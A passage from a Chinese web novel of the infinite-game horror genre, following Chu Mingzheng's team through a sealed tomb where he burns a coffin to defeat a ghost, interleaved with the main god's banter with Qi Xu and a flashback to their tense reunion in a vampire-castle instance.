齐栩不置可否的保持了沉默。 “人上了年纪,都是会变心软的。”主神愉悦的接话道:“楚明铮也不例外。” 齐栩从他这话里听到一丝不对劲的意思,很快皱眉道:“楚明铮不老,他才三十多岁,他也不算上年纪。” 主神失笑。 “好吧,那我这里还有另一个解释,也许你会喜欢。” “那就是,他很有可能,是出于对某人的愧怍心理作祟,认为自己从前在副本里亏待过某位对他来说比较重要的人……” “导致这位对他来说还算重要的人付出了一些他不愿意看到的代价,然后在内心深处进行过一定反思,从而改变了外部行为。” “于是他再进副本的时候,从行为上变得博爱而乐于助人,潜意识里他其实是在补偿,那个被他亏待的故人。” 主神停住话头:“这个解释你喜欢吗?” 齐栩一愣,完全没想过问题还能从这个隐秘的角度进行解释:“啊?” “大人,您的意思是说,楚明铮觉得有愧于我,才有的今天这个转变?” 主神轻快的在空中摆了个尾:“嘘,我可什么都没说。” …… 楚朝在甬道里发出一阵惊天动地的鬼哭狼嚎。 “妈——我错了妈!啊啊啊——”楚朝四脚并用在半空中徒劳的划拉着,身后每挨一下殴打,就像被掐住嗓子的尖叫鸡一样惨叫一声。 场面一时间颇为血腥,惨烈至极。 楚明铮气不打一处来,揪着这死孩子的后脖颈,恶声恶气的警告:“你下次要再敢在副本里这么吓唬我,我就把你的鬼皮扒下来,回基地了炖汤喝。” “听见了没有!” “呜呜呜呜听见了,听见了,妈妈我真的错了!” 楚明铮这才气呼呼的放开这死孩子,手一甩,拍了拍掌心里血水和灰尘混合在一起形成的血痂:“走吧,再走几步,应该就是这条甬道的尽头了。” 众人此时也休息的差不多了,听楚明铮发话,于是都接二连三的从地上起身,收拾收拾准备上路。‘ 陈靖还在安抚陈可。 陈可被刚才那粗暴的一遭吓得又是哭闹又是耍赖,趴在地上不敢走。 楚明铮见状便溜达着踱步到这小傻子身前,居高临下冲他凉飕飕的瞥了一眼,问道:“你是自己站起来走,还是我继续拿刚才的绳子拖着你走?” 陈可连连哀叫着往哥哥身后躲藏,惊恐至极的断断续续道:“我哥哥,我哥哥不会让你欺负我的……你走开!走开!” 楚明铮面无表情:“听我的话,能让你活命,你哥应该不会有意见的。” “是吧,陈靖?”楚明铮稍稍一偏头,去征询陈靖的意见。 陈靖一怔,连忙正色附和:“是,哥哥相信楚先生,你也相信他,好不好?” 陈可又是一声惊天哭嚎,但是迫于哥哥和楚明铮的双重威压,他还是颤巍巍的站起身来,跟上大部队一起走了。 ……这条甬道越向前走,两侧的长明灯数量就越少,分布的也就越稀疏。 与之相对的是周遭光亮也就越黯淡。 大约过了十来分钟后,他们终于走到了甬道的尽头,四周也彻底没了光线。 楚明铮回身问道;“大徐,你道具库里有蜡烛和手电筒吗?” 大徐翻了翻,凝重道:“有,但是这个副本里好像不能用手电筒,手电筒的光标都是灰色的。” “那就蜡烛吧,我们轮流看着,不让它灭掉就好了。” 片刻之后,大徐手里端着一方烛台,站在了队伍的最前方。 烛台上火焰轻轻晃动着,空气里有细小的凉风流过,甬道两边的墙壁都被火焰照的明亮而温暖。 这是众人进副本以来,见到的第一缕正常的火光,可算不是绿色的了。 暖黄色的火光显然给他们提供了一点心理上的安慰。 随后这束光亮也终于将周遭景象徐徐展现在他们眼前。 甬道的尽头立着一扇漆铜色的大门,门板还是虚掩着的,两扇门之间露出一道小小的缝隙,仅容一人钻过。 看来这个副本的舞台,直到他们走到此门面前为止,才算缓缓拉开了序幕。 楚明铮和大徐对视一眼。 楚明铮从大徐手中拿过烛台,抬手示意他后退:“我先进吧,你在我身后跟着。” 大徐只好跟在楚明铮身后,一行人鱼贯走进大门里,楚明铮手中的烛台逐渐将大门里的场景也照的清晰而明亮。 这是一间四方形的墓室。 墓室正中央立着两具棺材。 楚明铮端着烛台靠近了其中一具,俯身细看。 这棺材的样式有些过于气派了,棺椁厚重,不知道是用什么材质雕琢而成的,棺椁的外壳上绘制着细密而精致的花纹,每一寸纹路都清晰如刻,只是极其边角的地方翻飞着几缕蜘蛛网。 绝非普通人家能用得起的东西。 楚明铮绕着棺材走了一圈,大概从外部提取了一些信息出来。 “啊!”那边乔文发出一声惨叫,引的众人纷纷回头。 只见他脚下“咯吱”一响,再仔细看去,竟是踩到了几根支离破碎的骸骨。 “这是什么东西!”乔文惊恐的一个蹿起,跳到了楚明铮身后,指着地上那白森森的一片,战战兢兢道。 大徐蹲身下来,沿着他手指的方向细看。 “死人骨头。”两秒后,大徐笃定道。 “你你你……你为什么能这么确定这是人的骨头?”李子树也吓得面色发白,倏然跳到了楚明铮的另一侧。 大徐好笑的叹了口气:“……我这辈子见过的死人比你们见过的活人恐怕还要多,诺,那不是吗,地上还有丢弃的洛阳铲和倒斗装备呢。” “估计这些是盗墓贼的遗骸,当年他们进入这里找宝贝,不知道经历了什么,被困死在墓中,就留下来这些了。” 地上那些白森森的遗骨随处散落着,遗骨的不远处,果然分布着几只样式老旧的背包,水壶,还有用布袋子装起来的干粮。 楚明铮眉心蹙起来,手里端着蜡烛,环顾四周却没说话。 陈靖一手护着弟弟,一手也沿着棺材的边缘反复研究。 “既然当年的盗墓贼都已经被困死在这里了,我们还要在这里呆着找线索吗,这会不会是死路?”陈靖小心翼翼的道。 “大哥。”李子树出声道:“我们从甬道被传送过来,唯一的路径就是通往这里了。” “是啊,这里怎么可能是死路,副本又不会真让我们死。”乔文接话。 因为陈可一直在给大家拖后腿的缘故,乔文和李子树看陈靖都不是很顺眼,说话间不免带上了一点怨怼。 “好了。”楚明铮风轻云淡的出声打断道。 “我记得我给你们说过,在密闭空间的副本里最重要的是团结友爱,都平和点。” 李子树和乔文忿忿的闭嘴了。 “发现什么了?”楚明铮侧头去问周自重:“我记得你以前最擅长通过尸体腐烂程度的样貌来寻找线索了,来,看着地上的骸骨,跟我们说说你的发现。” “我真服了,这都碎成骨头渣渣了!我能怎么给你判断?”周自重没好气道。 楚明铮微笑着举着烛台蹲身下去:“是吗,可是你不觉得,地上的这些碎掉的骸骨,颜色有点不一样吗?” 周自重神情一愣,紧跟着他蹲身下去,就着微弱的烛光仔细观察,看了好半天后,他惶然大悟:“好像还真是!” “你们快过来看。” “左手边的这堆碎掉的骸骨颜色偏深,偏黄,应该是年份较早,而且骨缝里存在齐根折断的裂纹,应该是被人外界暴力击打所致。” “右手边靠近倒斗装备的这一堆碎骨头,没有断裂痕迹,颜色呢,也比较浅,你看相对来说比较完整,这么修长的一段大腿骨,保存的这么完好,就放在这里,只有风化痕迹,没有折损痕迹。” 周自重环顾一圈,谆谆善诱似的问众人:“朋友们,你们说,这说明了什么?” 楚朝十分呆萌的接话:“说明什么了呀,周叔叔?” “当然是说明,这个墓室里的人,是分两批死的!”周自重一拍手得出结论。 “而且,死亡时间差异还比较大,起码间隔大数百年以上了。” 楚明铮思索着,用指尖摩挲烛台边缘,慎重的分析道:“那我可不可以理解为……” “这左边的一堆,是墓葬的殉葬者,右边的一堆,是后来的盗墓者。” 第74章 血池棺林(三) 蔻丹 “我就是这个意思。”周自重一拍手,表示你真聪明。 楚明铮翻了个白眼。 楚朝伸出一只脚去探地上的骨头渣子,被李子树又惊又恐的拉了回来:“少年,你要干什么?你不嫌脏吗?” “嗨,没事。”楚朝一摆手笑道:“不嫌啊,这都我同类。” 李子树:“?” 楚朝笑嘻嘻的抓起他的手,往自己胸口贴去,问道:“感受到了吗?” 李子树茫然:“感受什么?” “我的心跳啊。” “没有。”李子树懵懵的摇头,过了两三秒,才吓得大叫一声反应过来:“没有心跳!?” “你你……” “我说了嘛,我也是死人,地上的都是我的同类。”他又是一脸泫然欲泣的转向楚明铮:“妈妈,如果我变成活人了,没有像现在一样强大的特异功能了,你还会爱我吗?” 楚明铮:“……” 楚明铮看起来想赏他一巴掌。 李子树和乔文又是赞叹的托腮感慨:“不愧是偶像,连生的儿子都这么强大……” 楚明铮:“……” ……你偶像生了个孩子,这个孩子是个死的,这是什么很值得庆祝的事吗?! 楚明铮神色痛苦,刚要张口求这俩人闭嘴,却听身后一阵铁器与地面的巨大摩擦声倏然响起,在空旷的墓室空间里回荡出金属切割般的回声。 众人纷纷转头看去。 却见他们刚刚穿过甬道抵达的那扇黄铜色大门,正在墓室的外围缓缓关闭,门板的底部与地面尘土摩擦,掀起一地窸窣灰尘,其中还包含着不少白色颗粒物……大概还包含了一部分地上骸骨的骨灰。 “啊啊啊啊——”李子树从地上跳起来就去阻拦那个门:“你停停停……别关啊!你关了我们怎么出去!” 黄铜色大门当然不理会他,依旧沿着既定的轨道十分缓慢的往上合,李子树不死心,使尽了吃奶的力气,摇摇欲坠挂在门上,却怎么都阻止不了大门的关合。 乔文见状也着急了,紧跟着上前帮他。 楚明铮脸色一冷,大步上前,单手一扣对方肩膀,不费吹灰之力就将李子树从门边上拖回来了。 “站好别动!”楚明铮呵斥着吩咐道。 黄铜大门终于“咔嚓”一声,发出沉闷的一响,严丝合缝的在墙壁中扣上了。 至此,整个墓室的出口就彻底从外界封死了,他们一行人退无可退的被关在了这间诡异而狭小的墓室中,跟地上几十具几乎快要化成灰的骸骨一起。 乔文“哇”的一声,就哭出来了,边哭边道:“楚哥,副本这是要把我们困死在墓室里啊!” 楚明铮拍了拍他的肩膀,这才叹了口气,尽量耐心的安慰道:“不会。” “副本不会真给人把路堵死,既然这道门被封死了,那就说明真正的生路在墓室内,我们冷静一点,在墓室里仔细找线索,总能有办法出去的。” 周自重和大徐站在一旁,不约而同,两脸震惊的瞥向楚明铮,神色惊异。 李子树也在那边吓得直抽噎,楚明铮无奈,只得一手一个,尽量安抚。 好不容易将这两个年轻人安抚的没那么害怕了,楚明铮这才松开他俩,起身找大徐走去:“把打火机给我,这个蜡烛太细了,一会儿搞不好得补一下火。” 他一边说,一边抬头看大徐,狐疑道:“你俩这是什么表情?” “楚哥。”周自重颤声说道。 “原来只要自称是你的粉丝,就能获得一个如此和颜悦色和蔼可亲的你吗?” “那我年轻的时候,在你手上受过的磋磨……都算什么!” 大徐小小声的在他耳边嘀咕:“我早就说了,楚哥就吃这一套。” “我当年其实也是这么劝小齐的,他拉不下脸跟楚哥撒娇而已……” …… “啊哈哈哈哈……” 主神再一次在图腾上空发出歇斯底里的大笑。 祂边笑边往齐栩身边飘荡:“小齐啊……你为什么不跟楚明铮撒娇呢,你要是会撒娇,得少走多少年弯路~” 齐栩面无表情的坐在地上,简短道:“我不会。” “嘴硬。”主神幽幽道:“你学学人家啊,这副本里的两个小朋友,可比你小时候讨人喜欢多了。” 齐栩瞥了一眼他,出声提醒道:“我要是会撒娇,十几岁的时候就不会跟楚明铮闹翻了。” “我要是没跟他闹翻,你也找不到我这个完美适配的容器。” 主神这才慢慢止住笑意,在空气中发出一阵漫长的嗡鸣。 “说的也是……” …… 楚明铮额头上的青筋简直要从皮肤里蹦出来了。 他真是走了大运了,这个副本能跟这群神经病分到一起,一天下来生气的次数居然不比跟齐栩在一起的时候少。 齐栩相对而言还比这群人听话靠谱且好用的多。 果然人和人都是对比出来的。 重生以来头一回,楚明铮居然开始有点怀念齐栩了。 “算我求你们几个了。”楚明铮咬牙切齿道:“干点正事,好吗!?” “好好好……” “楚哥说,我们现在去干什么?从哪里入手?”大徐将长枪从后背上解下来,强忍笑意着道。 楚明铮思索一番,指挥道:“你们两个,各自从他俩当中带一个人,沿着这个墓室的边缘开始查找,每一寸板砖都不要放过,看看有没有别的通道缝隙,或者机关。” 大徐闻言立刻起身,朝李子树招了一下手:“走吧年轻人,咱俩一队。” 李子树赶忙收了眼泪,快步跟上去。 于是大徐和李子树负责研究墓室的右侧和前方,周自重和乔文研究左侧和后方,一群人借着楚明铮手中微弱的灯光,仔仔细细的开始蹲身查找,从每一寸青石板砖的缝隙里探寻出去。 陈靖期期艾艾的站在旁侧,开口试探道:“楚哥,那我……” 楚明铮看了看他,又看了看一旁的陈可,轻轻一抬下巴,吩咐道:“照看好你弟弟,别让他乱跑。” 陈靖:“……好。” “至于你。”楚明铮的目光落到了身后楚朝的身上。 楚朝陡然亢奋起来:“妈妈我跟你一组是吗!太好了,你说吧,我们现在要干什么!” 楚明铮微微一笑:“你来跟我,开棺。” “啊——”楚朝惨叫起来:“这么危险的事情,你居然要交给我!妈妈你太惨无人道了。” “少废话,我要开棺,直面的就是棺材里的鬼,它待会儿要是从棺材里边坐起来了,你就在旁边直接帮我把它拍回去,反正你们是同一个物种。” 楚朝捂住心脏做心痛状。 楚明铮没顾上理他,自己转了转眼睛寻找片刻,少倾返身走到方才那一堆骸骨旁边,俯身对地上盗墓贼们剩下的那堆装备进行了一番挑拣,最后拎起一把铲子,走回棺材前。 他将手中的蜡烛交给楚朝,让他在指定位置站好。 “别离我太近,开棺动作幅度会大,不要让掀起的风弄灭蜡烛。”楚明铮叮嘱。 “放心吧妈妈。”楚朝小心翼翼的捧着蜡烛,在楚明铮身侧,同时注意着朝后退了几步。 楚明铮深呼吸片刻,随即抄起铁铲,用力抵在了棺椁的边缘的缝隙处,他按着铲柄,全身力气灌注在铲柄上,狠命向下按去—一“咔咔”两声,棺材边缘果然被撬开了一个小豁口,铁铲再往上撬,棺材盖却已经纹丝不动了。 棺材盖与豁口相嵌合的地方,留出一道细小的黑洞,洞中幽深,看不清棺材内部的景象。 楚明铮擦了一把头上的汗,顺手扔掉铁铲,沿着盖子被撬开的方向开始将其向外推。 棺椁的身躯随着他力道的加重而随之发出不堪重负的咯吱声,内部的结构听上去也并不牢固,然而楚明铮费尽九牛二虎之力,也难以将棺材盖子再往外挪动分毫。 “妈妈,要我过来搭把手吗?”楚朝担心的问。 “不用,拿好蜡烛,一定不要让它灭了。”楚明铮凝重的后退两步,开始围绕棺材重新打量,研究结构。 怎么回事,明明已经将最难的勾嵌部分撬开了,其余的覆盖部分只是扣中棺椁上而已,为什么会打不开呢? 除非…… “有东西躺在棺材里,正死死扒着棺材盖,不让你把盖子推开。”大徐不知道什么时候走到了他身侧,跟他低声耳语道。 “那怎么办?”楚明铮用同样低的音量回答道:“你过去跟里边的人说一声,你让他不要扒着棺材不放了,让他给我松手。” “没这沟通阴阳的本事。”大徐说着,便将手伸到背后去,下意识想去拿枪。 被楚明铮眼疾手快的按了下来,用眼神警告道:你疯了?你还真打算拿枪轰了它? 大徐同样用眼神跟他交流:在玄学条件受限的时候,就应该使用物理攻击! 两人眉来眼去好半天,彼此都僵持不下。 就在这时,却听陈靖那边陡然一声惊叫:“小可!不行别过去!” 在场众人不约而同心神一紧,同时回头,只见陈可正迈动着他肥胖而笨重的身躯,三步并作两步朝墓穴那头走去,神色痴迷,步履飞快,仿佛墓穴的另一侧有什么东西在召唤他一般。 楚明铮心神一紧,立刻喝道:“楚朝,让开!” 楚朝一惊,听到身后的脚步声,再要回头的时候已经来不及了,陈可笨重的身躯避无可避的朝他撞来,他身形过于硕大,途径之时身侧卷起一阵忽闪而来的风流。 楚朝手中蜡烛原本就苟延残喘,此时再被迎面而来的风动猛然一袭击! 蜡柱上的那簇火苗轻轻摇晃了几下,灭了。 墓室里瞬间陷入一片黑暗。 乔文和李子树发出短促而惊恐的叫喊,很快被周自重喝止下去:“安静!都别吵!” “老楚,大徐的打火机是不是在你那儿!快把蜡烛点起来!” 楚明铮在黑暗中应了一声,从裤子口袋里摸索出打火机,沿着记忆里楚朝的方向走过去。 “妈妈,我在这儿!”一旁传来鬼少年急切的呼唤声:“快把打火机给我,我来点燃蜡烛。” 楚明铮脚步一顿,心跳停滞半秒,狐疑的朝声音的来源看去。 这声音所传来的位置,跟他记忆里楚朝所站的位置有所偏差。 “楚朝。”楚明铮站定脚步,叫了一声他的名字,自己将打火机捏在手里,掌心里的汗水悄无声息的洇湿了打火机的外壁。 “你快过来呀妈妈。”那个声音再次急切道。 “我就在这里,你过来……过来……” 墓室里回音交错,在四下回荡。 与此同时,仿佛周围所有人的声音都消失了,只剩下对面楚朝的呼唤声,以及楚明铮自己粗重的呼吸声。 “我不过去了,我就在这儿等你,想要打火机就自己过来拿。”楚明铮平和的开口道。 楚朝静默两秒,随即乖巧应声:“好啊妈妈,那你可一定要站在原地等我呀。” “我来了……” 楚明铮闭上眼睛,只觉周身寒气越来越重,身侧的空气也越来越冷,每一股细小微风的靠近,都能使人冻到骨子里。 一股奇异的香气不知不觉缠绕住了他。 一只冰冷滑腻的手从楚明铮的腰侧环绕过来,伸到了他的右手上,柔若无骨的指尖拨动楚明铮的手背,仿佛嘶嘶作响的蛇信子。 “妈妈,把打火机给我吧,给我吧……” 对方尖尖的指甲划拉过他的皮肤,带出丝缕令人背后发凉的痒意。 楚明铮握着掌心,一言不发的站在原地,任由那只冰冷的手越发急不可耐的去掰他的手心,扣他手心里的打火机。 “妈妈……” 那声音始终在他耳边极度飘渺的缠绕,又在冷寂安静的空间里缓缓落下,一唱三叹似的语调。 楚明铮站在原地,听着听着就有点发笑,他低头忍俊不禁的对身后那东西道:“我说,您能别用楚朝的声音喊这么肉麻的话吗,妈妈就妈妈,你这声音拖的像唱戏一样,我听着难受。” 身后的声音蓦然收住了,周围温度骤降,又冷了几分。 黑暗中鬼爪缓缓上移,眼看着要抓上楚明铮的咽喉—— 楚明铮叹了口气,柔声道:“算啦,看在你这么想要的份上,打火机给你吧。” 鬼爪在临近楚明铮咽喉一侧迟疑似的顿住了,就在它犹疑的刹那,说时迟那时快,楚明铮单手一按打火机开关,簇簇火苗倏然自他指尖跳出! 紧接着楚明铮闪电般的一回身! 火光,瞬间照彻身后那张雪白惨然的尸身鬼面! 死人怕光,这种在古墓堆里沉寂多年的枯骨更是一见到光源就濒临散架,楚明铮眉目冷峻,手中打火机一扬,满泼光亮横扫而出,就在那个火光与晦暗交织的刹那,楚明铮看清了对面的具体样貌。 那是个双眼紧闭的浓妆女人,额间一点艳色花钿,鬓边散乱,耳后似有珠钗晃荡。 然而楚明铮只看了一眼,随即眼前一花,他只觉鼻尖又是香风扑来,楚明铮右脸颊仿佛被人剐了一掌似的,火辣辣的痛,他不敢在原地停留,迅速身形一仰,向后跳去! “哈哈哈……” “哈哈哈……啊哈哈哈~” 银铃般的笑声宛若空灵,在四方墓室里回荡开来,楚明铮蹙起眉心,手里的打火机被他攥的时间长了,加上攥的力道实在太紧,楚明铮的指骨几乎全无知觉。 现在他必须得找到真正的楚朝,才能点燃蜡烛,将墓中鬼怪暂且驱散开来。 他重新按下了打火机的开关,火光重新亮起,他却发现整间墓室空无一人。 周自重,楚朝,大徐,李子树和乔文,陈家两兄弟他们……统统不见了。 偌大的空间,只剩下他跟那两具静默的棺材。 楚明铮凝神在原地站着,身后又是一阵厉风袭来,他来不及反应,顷刻间矮身躲过身后的鬼爪,空中飘来的香气很像是某种花草,但是楚明铮记不清了,他除了过副本,现实生活中总体是个四肢不勤,五谷不分的懒散人,现在让他临时去想这是一种什么类型的花香,属实是有点为难他。 身后的女人伸着鬼爪,躲藏在黑暗里,时不时伺机出来给他一记攻击。 楚明铮跟她过了几招后,发现对方其实并没有杀他的能力。 她只是很迫切的,要拿走他手中的打火机。 以防他回到活人的世界去,再把蜡烛点燃。 楚明铮想明白了这一点,当下也没多紧张了,他将打火机彻底揣在怀里,也不拿出来了,光凭借自己记忆里的方向,朝那个棺材扑去。 虽然他现在被鬼从现实世界剥离开来,被投放到一个可以被墓主人灵体触碰到的空间了,但是呢,灵体是灵体,墓主人的尸体在各个空间应该也是客观存在的。 同时现在墓主人的灵体正在墓室之内跟他玩捉迷藏,那也就说明,现在棺材里没有“人”在阻止他开棺! 楚明铮犹如旋风一般飞跳上前,毫不犹豫,将棺材盖一推就开! 身后传来一阵厉风呼啸而至的声音。 楚明铮将打火机从怀里一抖落,取出来,“咔哒”一声点起火苗,举着打火机直接往棺材里烧! 他甚至都没看清棺中尸身是什么模样。 没有任何一个鬼看着自己的尸体被人焚烧的时候,还能游刃有余的布置异度空间,只听身后那道银铃般的女人声音短促的尖叫了一声,阴冷寒意从楚明铮身上破体而过,墓主人着急忙慌的钻回躯壳里去了。 等到她再度愤怒的想起尸弄死楚明铮时,异度空间随之破碎。 楚明铮整个人大喘一口气,踉跄着从那个鬼怪的空间里一下子脱离出来。 “妈妈!我在这里!”这回身后真真切切传来了楚朝的叫喊,周自重和大徐听声辨位,迅速过来帮忙。 楚明铮全然不敢怠慢,火速飞奔上前,在周自重和大徐围墙般的护卫下,跟楚朝头对着头,将蜡烛点燃了。 熟悉的暖光蔓延开来。 众人这才松了口气。 “你吓死我了妈妈!你刚才叫了我一声,然后忽然就没影了!”楚朝一边跟他说话,一边抬手护住火光,说话的间隙抬头看了一眼楚明铮,然后悚然变色。 大徐和周自重也随之抬头看他,目光中流露出惊恐。 “老楚,你的脸……” 楚明铮伸手摸了一下自己的脸颊,摸了一手红色的汁水。 楚明铮神情凝重,就着手边的灯光,小心翼翼的打量着自己掌心里的红色汁水。 “这是你的血吗妈妈?”楚朝惊恐的道:“这个鬼也太狠了吧,直接给你挖破相了啊!” 楚明铮示意几个人都靠近了闻闻自己手上的汁水,大徐和周自重不约而同神情又是一变。 “好像不全是血?” “蔻丹。”楚明铮沉声报出答案。 “古代女子们,用来染指甲的东西,这个鬼的指甲上,染了蔻丹。” “走吧,一起打开棺材,看看里边到底是什么东西就知道了。” 楚明铮说着就要走,然而周自重伸手把他拦了一下:“等等。” “嗯?”楚明铮不明所以,站定脚步。 周自重阴沉着脸,看向角落里躲在哥哥身后的陈可,轻声道:“先把他处理了吧,这人留下来,始终是个祸患。” …… 齐栩几不可察的再次松了口气,后背上又重新渗满了冷汗。 “我说你至于吗……”主神笑道:“你自己当年过这个本,也没现在紧张吧。” “嗯。”齐栩没有心思回答他的问题,他坐在地上,藏在外套下的手臂肌肉因为过度紧张而微微痉挛。 “我好奇一个事啊,齐栩。”主神若有所思的问:“你说你现在,到底是害怕他遇到危险,还是害怕他知道真相。” 齐栩稍微回了一点神,语气平淡的道:“都害怕。” 主神被他这不咸不淡的反应弄的很无趣,于是祂脑筋一转,想出了个坏主意。 “行吧,小齐,那他当年总该能察觉出一点你的变化吧。”主神引导着他回忆道:“我指的是……你从跟他闹翻后,在副本里第一次跟他重逢那回。” 齐栩眉心微微一跳。 “那回你不是跟他动手了吗?” “都动手了,楚明铮难道还没察觉你身体上的变化吗?” 骤然被勾起往事,齐栩的心神一晃,思绪不可避免的随之被牵扯下去,他的心脏瞬间被回忆中的懊悔和难过所填满。 那是他从绞刑架悬崖跌落后的第二年春天,2021年春天,齐栩独自一人在副本里闯荡,已经完成了从A级副本到爆杀无数S+的史诗级跃迁转变,也早已经经过了血池棺林副本,被主神选为了下一任执政官的接班人。 执政官没有正式到任之前,排名信息一向是被隐藏的,因为主控中心不可能将下一任一把手的副本信息全盘公之于众。 所以齐栩的名字在总榜排名上显示不出来,加上过副本的时候着意乔装一下,不被熟人认出面孔,就绝对没有人知道他掉下悬崖后,居然还活着。 不过齐栩对有没有过去的熟人会认出来他这个事,其实没有很在意。 就算楚明铮知道自己还活着,那又能如何,过往的重创已经造成了,他不觉得楚明铮会善心大发,知道他还活着以后着急忙慌的上来弥补他,他也不需要。 就在这样一种无所谓心态的催使下,齐栩某次一时犯懒,没来得及乔装自己,很随意的把自己送去了一个难度不是很大的S级副本里过周末。 结果他就遇到楚明铮了—— 作者有话说:这章剧情还没写完,下半段我再努力一下[爆哭][爆哭] 第75章 血池棺林(四) 副本里避谶,不要说死…… 那是个吸血鬼古堡主题的副本,古堡内整体建筑风格富丽堂皇,从拱形门里穿过去,不远处就是古堡大门。 早有管家NPC站在门口迎接每一位身份为古堡来宾的玩家,齐栩走进去时,大堂之内已经聚拢了一群人,目之所及都是熟悉面孔。 因为高阶副本总共就那么几个,能在高阶副本里出入的高级别玩家,或多或少也都在副本里合作过或是打过照面。 齐栩在这种很容易碰到熟人的副本里,一向把自己存在感降的很低,自我介绍环节也是能省则省,省不了就随口胡诌个名字应付。 这次他最开始也是这么打算的。 直到他一推门,迎面撞见了楚明铮一行人。 楚明铮带着楚小妙,正在人群里跟几个平时关系不错的高阶玩家说话,那道瘦削而颀长的身影钉在了齐栩的视线里,齐栩只觉心脏猛然一攥,下意识就往人群后躲闪。 仿佛冥冥中自有定数一般,楚明铮朝他这边看了一眼,随之一愣。 他几乎不敢相信自己的眼睛。 “齐栩!”楚明铮大步越过人群,一把将他从大厅另一侧,玩家们聚集的地方薅了出来。 他的双手死死握住齐栩的双臂,那熟悉的体温和力道沿着齐栩衣袖的布料隔层穿透而来。 那双向来冷锐淡然的眼睛里此时装满了焦急和关切,楚明铮的嘴唇甚至是在颤抖的,这在平时根本不可能。 楚明铮从没这么失态过。 齐栩抿着嘴唇不说话,一味的用力,试图将手臂从他的掌心里抽出来。 楚明铮的力气比他更大,他蹲在齐栩身前,一迭声的问:“你去哪儿了?你没死?你没死为什么不回基地,说话,齐栩!” 齐栩深吸一口气,借着这个居高临下的位置,猛然将楚明铮推了一个踉跄,险些摔到地上去。 楚明铮显然没想到齐栩会推自己,毫无提防之下出于条件反射,他紧急用手撑了一下地面,才没彻底摔倒。 齐栩双臂环抱,站在他对面,脸上毫无异色,也没有伸手去扶他的意思。 楚明铮错愣的注视着他。 不少人的目光已经顺着这边的动静看过来了,交头接耳的细碎声音从周围响起。 齐栩低声对他道:“先生,我不认识你,请你回到你同伴身边去。” 楚明铮似乎觉得有些好笑,他重复了一遍齐栩的话:“你不认识我?” “不认识。”齐栩冷冷道。 古堡里的管家刚好过来分发钥匙,齐栩上前拿了钥匙就走,自顾自的上楼去找房间了,没做过多的停留。 身后传来楚小妙和冉云帆的叫喊。 “喂!齐栩!你什么意思啊,你不拿自己当基地的人了?” “哥哥,他刚才是不是还推你了?” 楚明铮回身给他们递了个噤声的眼色,又转头神色复杂的看着齐栩离开的方向,几无声息的叹了口气,随即也拿钥匙带冉云帆和楚小妙上楼。 如果仔细看的话就能发现,这个时候的楚明铮脸色疲倦而苍白,整个人步履虚浮,已经不像从前一样敏捷和锋利了。 “没事,他就是跟我生气了。”楚明铮拿着钥匙开门,将楚小妙和冉云帆送到卧室里去:“我处理就好。” 楚小妙脸上露出难以置信的神色:“他生气?” “他都不知道哥哥你为了救他伤成那样……”楚小妙义愤填膺。 楚明铮哑然失笑着揉了揉妹妹的脑袋:“他也没渠道知道啊,是不是?” 齐栩是在四楼走廊的尽头找到自己今晚休息的卧室的,他拿出钥匙准备开门,就在他将钥匙插入锁孔转动的前一个瞬间,身后有人一把按住了他的肩膀。 “齐栩!”那熟悉的声音在他身后响起。 楚明铮气喘吁吁的将他拦在了卧室门外。 齐栩仍然面无表情的转过头,跟他对视了一眼,末了将目光落在楚明铮扣住自己肩膀的那只手上,简短道:“放开。” “不放。”楚明铮强硬道。 “能不能给我两分钟,我有话跟你说。”楚明铮胸腔中还带着喘息,可见他刚才跑过来有多着急。 “我跟你解释清楚,你要是不生气了,就跟我回基地,你要是还生气,那我说完我就走,可以吗?” 楚明铮这时候已经在跟他用一种商量的语气了,这在以往绝对不可能。 但是齐栩不想听。 还让他回基地……齐栩死也不回去。 他握着钥匙,背对着楚明铮,在楚明铮第二次试图将他从背面扳过来时,他攥着钥匙猛然回身,一肘撞在了对方的肩胛骨上。 “不可以。”齐栩用钥匙尖抵着他,一字一句道:“你离我远点,楚明铮。” 楚明铮难以置信道:“你喊我什么?” “楚明铮!” 有那么一瞬间,楚明铮看上去很想像以前一样动手揍这小子。 但是今时不同往日,无论如何,是他先对不起齐栩在先。 楚明铮硬生生把心头怒火忍了回去。 齐栩趁他脸上神情变幻莫测的空档,再次将他往后一推,自己闪身进屋,“咔嚓”两声反锁了卧室门。 楚明铮猝不及防被他关在了门外,后槽牙咬的嘎吱作响,眼中神色却看不出几分生气,只是无可奈何的厉害。 时间过去了几个小时,夜深人静,古堡里的活人都睡了。 齐栩从自己床上坐起来,借着窗外黯淡的月光,看向了古堡外的坟地。 这个时期他已经积攒了很多过副本的经验了,齐栩靠自己的直觉推测,不出意外的话,线索会在那片坟地里。 他带了条绳索,将绳索系在窗沿的栏杆之上,然后翻窗而出。 不料翻窗的过程中那绳子松动了,齐栩蹬在墙壁上的脚下一个打滑,倏然连人带绳子向下坠去。 然后他就跌进了一个沉稳有力的怀抱。 鼻尖传来楚明铮身上熟悉的冷香气息,那人一手抱着他,一手接过了他用来攀岩的那条绳子,声音讶异道:“你怎么变重了这么多,我差点没抱动你。” 齐栩像个小孩一样被他从身后抱着,从高空接住,顿觉颜面尽失,恼羞成怒的挣扎下地,回身就反抗推搡他:“谁让你抱我了!” “我不抱你你刚才尾椎骨就摔断了!”楚明铮到底不是泥人做的,忍无可忍的终于带上了点火气。 “你这孩子——” 齐栩气呼呼的将绳子从他手中一夺,转身直奔古堡对面的坟地,他要赶紧找到线索,一刻也不要在这个副本里跟楚明铮多呆了。 楚明铮始终不远不近的跟着他。 齐栩在坟地里挨个查看墓碑的碑文,并一一记录,楚明铮像个幽灵一样跟在他身后晃荡。 “你不应该只观察碑文的。”他突然开口说道:“墓葬旁边的土壤新旧情况,最近是否被翻新过,翻新土壤的上层有没有血腥的铁锈味,这些都很重要。” 他不说话还好,他一说话齐栩一股邪火就蹭蹭蹭往上蹿。 他在一方墓碑前倏然立住了脚步,恶狠狠道:“我不记得我什么时候朝你寻求帮助了。” “我没帮助你,我以前也是这么教你的,习惯了。”楚明铮心平气和的说。 “不要跟我提以前!”齐栩愤怒道。 楚明铮无言的在几步远的地方看着他,头顶月光暗沉下去,很好的遮掩了他眼底的那丝伤感。 “别再跟着我了。”齐栩警告道。 他说完话,恼火的继续向前走,边走边继续研究墓碑碑文,同时他的目光不受控制的向地下的土壤看去,一边看一边琢磨楚明铮刚才的话。 他果然发现了几处墓碑下,有土壤被翻新过的痕迹。 齐栩暗暗记下了那几个墓碑,但是他看的很小心。 他不想让楚明铮发现自己仍然像以前一样听他的话。 “齐栩。”楚明铮在身后开口叫他。 齐栩没理会。 “你还在生我气吗?” 